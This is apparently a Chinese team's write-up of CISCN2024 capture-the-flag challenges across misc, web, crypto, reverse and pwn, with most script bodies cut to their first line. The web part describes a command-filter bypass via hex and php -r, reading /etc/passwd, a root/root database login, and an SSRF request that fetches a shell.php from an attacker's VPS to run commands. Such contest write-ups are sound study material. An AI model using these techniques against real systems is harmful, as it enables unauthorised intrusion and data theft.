CISCN2024
misc
火锅链观光打卡
微信公众号获得提示
提示装插件
然后开始游戏,攒够7种不同的食物,兑换即可
flag{y0u_ar3_hotpot_K1ng}
Power Trajectory Diagram
拷打gpt写读取npz文件的脚本
1 | import numpy as np |
通过input、index、trace的内容可以分析出,它⼤概有13组数据每组数据对应⼀幅图,有点类似键盘敲击的
分析读取的三组数据,发现对应是13组图,每组数据对应一个最低点,再拷打gpt写个读取的最小值中的最大值
- exp
1 | import numpy as np |
通风机
百度搜mwp文件咋打开
放进去发现提示不识别,用010打开后以及查看该文件头发现文件头缺失
先补全文件头
用step工具打开
base64解码
神秘文件
将ppt文件转换为zip,文档打开找到,ppt信息里面也可以找到,懒得截图了
Part1:flag{e
(算了还是截了)
解密
part2:675efb
里面有个word,搞成zip解压
接着凯撒爆破base64
PArt3:3-34
alt+F11打开vba代码
问gpt是RC4(一直以为要写解密脚本!!!)
Payt4:6f-40
PPT给图片掀开
base64解密
pArt5:5f-90d
第五页ppt
多轮base64解密
ParT6:d-2
还是改为zip解压出来的题目里找到的
base64
PART7=22b3
在ppt/slides/slide4.xml
下
paRt8:87e
ppt\slideLayouts\slideLayout2.xml
下
可知密文去掉Bb13解base64
paRt8:87e
在ppt\media
下
解密
PARt10:9}
维吉尼亚 key也有
密文ZYWJbIYnFhq9,加密方式是维吉尼亚加密, 密钥furry
Tough_DNS
题目描述是一串16进制数据,解码
没解开,尝试通过逆序在进行16进制解码再逆序回来得到正常的数据
在流量包中发现二进制域名
利用工具将域名提取到一个文件中,将其保存
1 | 111111101100101111111111111101100101111111111111101100101111111111111101100101111111100000100100101000001100000100100101000001100000100100101000001100000100100101000001101110101010101011101101110101010101011101101110101010101011101101110101010101011101101110101001001011101101110101001001011101101110101001001011101101110101001001011101101110101110001011101101110101110001011101101110101110001011101101110101110001011101100000100000001000001100000100000001000001100000100000001000001100000100000001000001111111101010101111111111111101010101111111111111101010101111111111111101010101111111000000000110000000000000000000110000000000000000000110000000000000000000110000000000111100101010010011101111100101010010011101111100101010010011101111100101010010011101010010000010110111111010010000010110111111010010000010110111111010010000010110111111011001111000101100001011001111000101100001011001111000101100001011001111000101100001001110000110100001000001110000110100001000001110000110100001000001110000110100001000000101111001001100000000101111001001100000000101111001001100000000101111001001100000000000001111001110010000000001111001110010000000001111001110010000000001111001110010111111100100011010110111111100100011010110111111100100011010110111111100100011010110100000100011010000100100000100011010000100100000100011010000100100000100011010000100101110100001000010110101110100001000010110101110100001000010110101110100001000010110101110101110110100110101110101110110100110101110101110110100110101110101110110100110101110101011110101100101110101011110101100101110101011110101100101110101011110101100100000101110001111001100000101110001111001100000101110001111001100000101110001111001111111101111001111100111111101111001111100111111101111001111100111111101111001111100 |
尝试后,发现可能是二维码,利用工具将其转换成二维码
扫描出来的结果如下:
通过分析后续流量,利用 tshark 脚本分别导出 0x6421,0x4500 所对应的数据
利用命令分别提取数据
利用在线将其转换成文件
- 0x4500文件,是一个压缩包
发现是一个带锁的gpg文件,将压缩包给名为1.zip
- 0x6421是一个pgp文件
将文件给名为2.pgp
提取gpg文件发现需要密码,结合题目,输入密码15f9792dba5c,拿到gpg文件
利用PGPTool工具进行解密
密码为最开始根据题目描述得到的数据,e9b0-ea5f9bae这个面膜不对,测试后发现还需要再逆序一下才行
拿到flag
Web
Simple_php
测试发现能够执行php -v
命令
因为存在过滤以及特殊函数escapeshellcmd
,导致命令不能正常执行,可以构造十六进制数据结合php -r
进行绕过
在线字符串/十六进制互相转换—LZL在线工具 (lzltool.cn)
测试后发现根目录没有flag,利用php
读/etc/passwd
文件
发现Mysql服务,根据root用户的账户名和密码,弱口令尝试登陆root/root
连接成功,进入PHP_CMS数据库,再查询表
继续查数据
easycms_revenge
根据第一天的flag内容提示需要伪造"REMOTE_ADDR",但是这个不可伪造,需要通过ssrf来打,通过网上搜索发现该cms存在qrcode+ssrf漏洞
https://www.xunruicms.com/bug/
github源码审计找到qrcode函数
https://www.xunruicms.com/doc/444.html
查询文档发现参数可控,可以通过构造url来进行SSRF伪造进行外带,但是需要是一张图片能够使其识别
在自己的vps上写个文件shell.php
,内容如下:
1 | #define width 8888 |
大概意思就是通过定义宽高来使其成为一张图片,绕过检测,再利用302跳转打SSRF
本地起一个python服务用来监听
访问题目:
url/index.php?s=api&c=api&m=qrcode&size=100&level=10&thumb=http://vpsip/shell.php&text=1
执行命令成功,利用ls /|sed -n 1p
查看
发现flag无法读取,继续遍历目录发现readflag
可执行文件,输出readflag执行结果拿到flag
1 | #define width 8888 |
Crypto
OvO
先将e等式化简
可以看到化简方程最后只有p是未知,已知高位条件下e=(2+k)n,那么k=e//n-2,代入即可解出p的高位
已知p高位泄露直接打脚本即可
解题代码
1 | from Crypto.Util.number import * |
古典密文
Reverse
asm_re
一开始还想还原这个ida工程文件hhh,发现根本做不到,后面纯看arm汇编代码,直接手撕就好,加密逻辑在这儿,密文一开始还找半天,后面发现应该是存在变量unk_100003F10里面
搓出脚本之后也还是卡了一小会儿,最后反应过来大小端的问题,改一下小端就好了,爆破一下直接出
exp:
1 | k = [ |
whereThel1b
还真是第一次遇见这种,给了个so和一个py文件,一开始的想法是能不能给so解包之类的,因为py文件里面密文给了,就差一个加密逻辑,找了一大圈还是没找到,最后还是想到了调一下so文件,像调安卓那样
动调起来锁定出了两个函数,得知输入的数据先经过base64编码之后再进行的异或
加密逻辑知道了,但是不知道异或的值是什么,一开始以为是存在r18里面的,最后调了一下找不到规律,最后想到重新写一份密文输入,然后把加密之后的数据输出一下,前后异或得到所需异或的值,想办法输入一个输构造出经过base64编码之后长度为56的数
exp:
其中aa是上图构造的“55555555555555555555555555555555555555555555”的base64之后的值,然后bb是运行上图之后得到的异或之后的值,最后运行出来的结果解一下base64就行
1 | encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26] |
gdb_debug
进入主函数之后逻辑还是相当清楚的,锁定了一下伪随机数
动调跑起来取出随机数
1 | 0xd9, 0x0f, 0x18, 0xBD, 0xC7, 0x16, 0x81, 0xbe, 0xf8, 0x4A, 0x65, 0xf2, 0x5D, 0xab, 0x74, 0x33, 0xd4, 0xa5, 0x67, 0x98, 0x9f, 0x7E, 0x2B, 0x5D, 0xc2, 0xaf, 0x8e, 0x3A, 0x4C, 0xa5, 0X75, 0X25, 0xb4, 0x8d, 0xe3, 0X7B, 0xa3, 0x64 |
然后直接从后往前逆就好
exp:
1 |
|
Pwn
gostack
IDA8.3补全符号表,开了个NX,不影响打栈溢出
- exp
1 | # -*- coding=utf-8 -* |
orange_cat_diar
有个UAF
然后就是house of orange,打unsorted bin attack泄露libc基址,然后改malloc_hook
- exp
1 | from pwn import * |